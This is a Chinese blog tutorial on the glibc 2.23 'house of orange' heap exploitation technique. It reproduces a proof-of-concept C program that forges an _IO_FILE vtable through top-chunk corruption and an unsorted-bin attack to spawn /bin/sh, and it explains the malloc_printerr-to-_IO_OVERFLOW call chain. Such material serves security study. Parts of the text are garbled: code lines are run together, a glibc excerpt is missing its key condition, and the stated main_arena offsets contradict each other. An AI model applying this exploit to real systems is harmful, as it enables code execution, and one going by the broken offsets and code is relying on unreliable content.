1. 程式人生 > 實用技巧 >House_of_orange 學習小結

House_of_orange 學習小結

House_of_orange學習小結

  house_of_orange最早出現在2016年hitcon的一道同名題目,其利用效果,是當程式沒有free函式的時候,我們可以通過一些方法,來讓chunk被填入unsortbin中,成為一塊被free的chunk,然後通過對_IO_FILE_plus.vtable的攻擊,達到getshell的目的。

例子

  以how2heap中的house_of_orange為例,來分析house_of_orange的利用過程,libc版本為2.23。

#include <stdio.h>
#include <stdlib.h>
#include 
<string.h> int winner ( char *ptr); int main() { char *p1, *p2; size_t io_list_all, *top; fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, " "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n
"); fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit," "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n"); /* Firstly, lets allocate a chunk on the heap. */ p1 = malloc(0x400-16
); top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01; p2 = malloc(0x1000); io_list_all = top[2] + 0x9a8; top[3] = io_list_all - 0x10; /* At the end, the system function will be invoked with the pointer to this file pointer. If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh) */ memcpy( ( char *) top, "/bin/sh\x00", 8); top[1] = 0x61;
FILE *fp = (FILE *) top; /* 1. Set mode to 0: fp->_mode <= 0 */ fp->_mode = 0; // top+0xc0 /* 2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base */ fp->_IO_write_base = (char *) 2; // top+0x20 fp->_IO_write_ptr = (char *) 3; // top+0x28 /* 4) Finally set the jump table to controlled memory and place system there. The jump table pointer is right after the FILE struct: base_address+sizeof(FILE) = jump_table 4-a) _IO_OVERFLOW calls the ptr at offset 3: jump_table+0x18 == winner */ size_t *jump_table = &top[12]; // controlled memory jump_table[3] = (size_t) &winner; *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8 /* Finally, trigger the whole chain by calling malloc */ malloc(10); /* The libc's error message will be printed to the screen But you'll get a shell anyways. */ return 0; } int winner(char *ptr) { system(ptr); return 0; }

step1: fake _free_chunk

  程式中,首先開闢了一塊0x400大小的chunk。

p1 = malloc(0x400-16);

  申請到的chunk和top chunk緊鄰,我們再解釋一下top chunk。

  glibc為了減少記憶體開銷,top chunk相當於提前分配出來的一塊記憶體池,然後以後申請比較小的chunk時,直接從top chunk中進行申請。如果沒有top chunk,每次申請堆塊都要從記憶體中直接申請,記憶體的開銷就會非常大。當top chunk不夠用的時候,glibc就要通過brk再次切割一塊記憶體到heap段,或者用mmap的方式從記憶體中再次映射出一塊記憶體到程序中。

  我們現在申請出了一塊大小為0x400的chunk,這時候,假設我們存在一個堆溢位,可以修改到top chunk的size域。

top = (size_t *) ( (char *) p1 + 0x400 - 16);
top[1] = 0xc01;

  可以看到,top chunk的size域被修改了。由於記憶體對映的時候,是以記憶體頁的形式進行對映的,記憶體頁的大小就是0x1000位元組,所以在本例中,溢位修改top chunk的size域的時候,大小隻能修改為0xc00,0x1c00,0x2c00等等。修改完top chunk的size域之後,申請一塊大於0xc00大小的chunk。

p2 = malloc(0x1000);

  這時候,old top chunk就被釋放到了unsortedbin中,heap段也進行了brk拓展。

  如果開始不修改top chunk的size域大小的話,glibc會通過mmap直接從記憶體中映射出一塊記憶體地址,這時候無法達到fake free的效果。

  將chunk填入unsortedbin之後,就要用到unsortedbin attack和_IO_FILE_的一些知識來進行後續的利用了。

step2:FSOP

  FILE 在 Linux 系統的標準 IO 庫中是用於描述檔案的結構,稱為檔案流。 FILE 結構在程式執行 fopen 等函式時會進行建立,並分配在堆中。我們常定義一個指向 FILE 結構的指標來接收這個返回值。FILE結構體是包裹在_IO_FILE_plus中的,兩個結構體定義如下:

struct_IO_FILE_plus
{ _IO_FILE file; IO_jump_t
*vtable; }
struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

  程序中的FILE結構會通過_chain域彼此連線形成一個連結串列,連結串列頭部用全域性變數_IO_list_all表示,通過這個值可以遍歷所有的FILE結構。包裹_IO_FILE結構的_IO_FILE_plus中,有一個重要的指標vtable,vtable指向了一系列處理_IO_FILE檔案流的函式指標。實際上所有針對_IO_FILE_的攻擊都是通過修改或者偽造vtable中的函式指標來實現的,因為類似fopen,fread,fwrite,printf,exit,malloc_printerr等對檔案流進行操作的函式,最終的函式呼叫路徑都會指向_IO_FILE_plus.vtable上的函式指標。

  vtable指向的跳轉表是一種相容C++虛擬函式的實現。當程式對某個流進行操作的時候,會呼叫該流對應的跳轉表中的某個函式,_IO_jump_t結構體如下所示:

//glibc-2.23 ./libio/libioP.h
struct _IO_jump_t
{
    JUMP_FIELD(size_t, __dummy);
    JUMP_FIELD(size_t, __dummy2);
    JUMP_FIELD(_IO_finish_t, __finish);
    JUMP_FIELD(_IO_overflow_t, __overflow);
    JUMP_FIELD(_IO_underflow_t, __underflow);
    JUMP_FIELD(_IO_underflow_t, __uflow);
    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
    /* showmany */
    JUMP_FIELD(_IO_xsputn_t, __xsputn);
    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
    JUMP_FIELD(_IO_seekoff_t, __seekoff);
    JUMP_FIELD(_IO_seekpos_t, __seekpos);
    JUMP_FIELD(_IO_setbuf_t, __setbuf);
    JUMP_FIELD(_IO_sync_t, __sync);
    JUMP_FIELD(_IO_doallocate_t, __doallocate);
    JUMP_FIELD(_IO_read_t, __read);
    JUMP_FIELD(_IO_write_t, __write);
    JUMP_FIELD(_IO_seek_t, __seek);
    JUMP_FIELD(_IO_close_t, __close);
    JUMP_FIELD(_IO_stat_t, __stat);
    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
    JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
    get_column;
    set_column;
#endif
};

  house_of_orange.c中通過偏移來確定了io_list_all的值,即main_arena+88與io_list_all的偏移相差0x9a8位元組。

io_list_all = top[2] + 0x9a8;
top[3]=io_list_all-0x10;

  top在前面被定義為了old top chunk的地址,這裡top[2]的值就是unsortedbin中fd指標的值。

  top[2]+0x9a8的地址處,就是全域性變數_IO_list_all的地址,修改unsortedbin chunk的bk指標為_IO_list_all的值如圖所示。

  在本例中,最終實現攻擊的大致思路如下:glibc中定義了列印記憶體報錯資訊的函式malloc_printerr,malloc_printerr中實際起作用的是__libc_message函式中定義了abort函式,abort函式在中止程序的時候,會呼叫_IO_flush_all_lockp遍歷重新整理所有的檔案流,然後會呼叫_IO_FILE_plus.vtable中的_IO_OVERFLOW函式處理_IO_FILE結構體指標fp。我們在堆區偽造一個_IO_FILE_plus結構體,_IO_FILE_plus.vtable中_IO_OVERFLOW的函式指標修改為system函式地址,_IO_FILE結構體0位元組偏移處改寫為"sh"或者“/bin/sh”,這時候_IO_OVERFLOW(fp,EOF)就相當於呼叫system("/bin/sh")。

  malloc_printerr函式呼叫鏈和具體程式碼實現如下:

malloc_printerr --> __libc_message --> abort --> _IO_flush_all_lockp --> _IO_OVERFLOW

  malloc_printerr函式定義在malloc.c中,malloc_printerr中真正起作用的函式,是__libc_message,__libc_message函式被定義在libc_fatal.c中。

static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
  /* Avoid using this arena in future.  We do not attempt to synchronize this
     with anything else because we minimally want to ensure that __libc_message
     gets its resources safely without stumbling on the current corruption.  */
  if (ar_ptr)
    set_arena_corrupt (ar_ptr);

  if ((action & 5) == 5)
    __libc_message (action & 2, "%s\n", str);
  else if (action & 1)
    {
      char buf[2 * sizeof (uintptr_t) + 1];

      buf[sizeof (buf) - 1] = '\0';
      char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
      while (cp > buf)
        *--cp = '0';

      __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
                      __libc_argv[0] ? : "<unknown>", str, cp);
    }
  else if (action & 2)
    abort ();
}

  __libc_message函式定義在libc_fatal.c檔案中

void
__libc_message (enum __libc_message_action action, const char *fmt, ...)
{
  va_list ap;
  int fd = -1;

  va_start (ap, fmt);

#ifdef FATAL_PREPARE
  FATAL_PREPARE;
#endif

.......
if ((action & do_abort))
    {
      if ((action & do_backtrace))
    BEFORE_ABORT (do_abort, written, fd);

      /* Kill the application.  */
      abort ();
    }
}

  abort()處理程序的時候,會呼叫_IO_flush_all_lockp遍歷重新整理所有的檔案流,然後會呼叫_IO_FILE_plus.vtable中的_IO_overflow函式處理_IO_FILE結構體。

int
_IO_flush_all_lockp (int do_lock)
{
  int result = 0;
  FILE *fp;
#ifdef _IO_MTSAFE_IO
  _IO_cleanup_region_start_noarg (flush_cleanup);
  _IO_lock_lock (list_all_lock);
#endif
  for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
    {
      run_fp = fp;
      if (do_lock)
        _IO_flockfile (fp);

        result = EOF;
      if (do_lock)
        _IO_funlockfile (fp);
      run_fp = NULL;
    }
#ifdef _IO_MTSAFE_IO
  _IO_lock_unlock (list_all_lock);
  _IO_cleanup_region_end (0);
#endif
  return result;
}

  試想一下,如果所有檔案流中,有一個_IO_FILE結構體的0位元組偏移處被改寫為"sh",將_IO_FILE_plus.vtable中的_IO_overflow函式指標改寫為system函式的地址,這時候執行

_IO_OVERFLOW (fp, EOF) == EOF)

  就相當於是執行:system("sh")。

  滿足一下三種情況的時候,有利用FSOP的可能:

  1.當libc執行abort流程時;

  2.當執行exit函式時;

  3.當執行流從main函式返回時。

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)
    io_list_all = top[2] + 0x9a8;
    top[3] = io_list_all - 0x10;
    memcpy( ( char *) top, "/bin/sh\x00", 8);
    top[1]= 0x61;

  在上面的例子中,修改了unsortedbin chunk的bk指標,讓bk指標指向了_IO_list_all-0x10地址處,同時修改了unsortedbin chunk的size域為0x61。這時候如果重新申請chunk,會觸發unsortedbin attack,這時候_IO_list_all的值被改寫為main_arena+88,而unsortedbin由於不滿足分配規則,會被分配到smallbin[4]這一條連結串列中,這時候chunk的fd指標和bk指標指向main_arena+168處,main_arena+194地址處保留指向smallbin chunk的指標。

  main_arena+194和main_arena+88之間的偏移是0x61位元組,對照上面的_IO_FILE結構體,可以看到_IO_FILE.chain和首地址之間的偏移正好是0x60。所以,就是說我們改寫_IO_list_all的值,讓_IO_list_all指向main_arena+88,然後mian_arena+194指向第二個_IO_FILE結構體,也就是我們佈置偽造資料的這個smallbin chunk。我們構造好資料,滿足利用條件,最終_IO_flush_all_lockp遍歷連結串列,就可以getshell。

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
           || (_IO_vtable_offset (fp) == 0
               && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                                    > fp->_wide_data->_IO_write_base))
           )
          && _IO_OVERFLOW (fp, EOF) == EOF)

  偽造資料的流程如下:

    FILE *fp = (FILE *) top;    
    fp->_mode = 0; // top+0xc0
    fp->_IO_write_base = (char *) 2; // top+0x20
    fp->_IO_write_ptr = (char *) 3; // top+0x28

    size_t *jump_table = &top[12]; // controlled memory
    jump_table[3] = (size_t) &winner;
    *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8

  最終,malloc(10)分配失敗,呼叫malloc_printerr函式,觸發漏洞利用鏈,就可以實現getshell。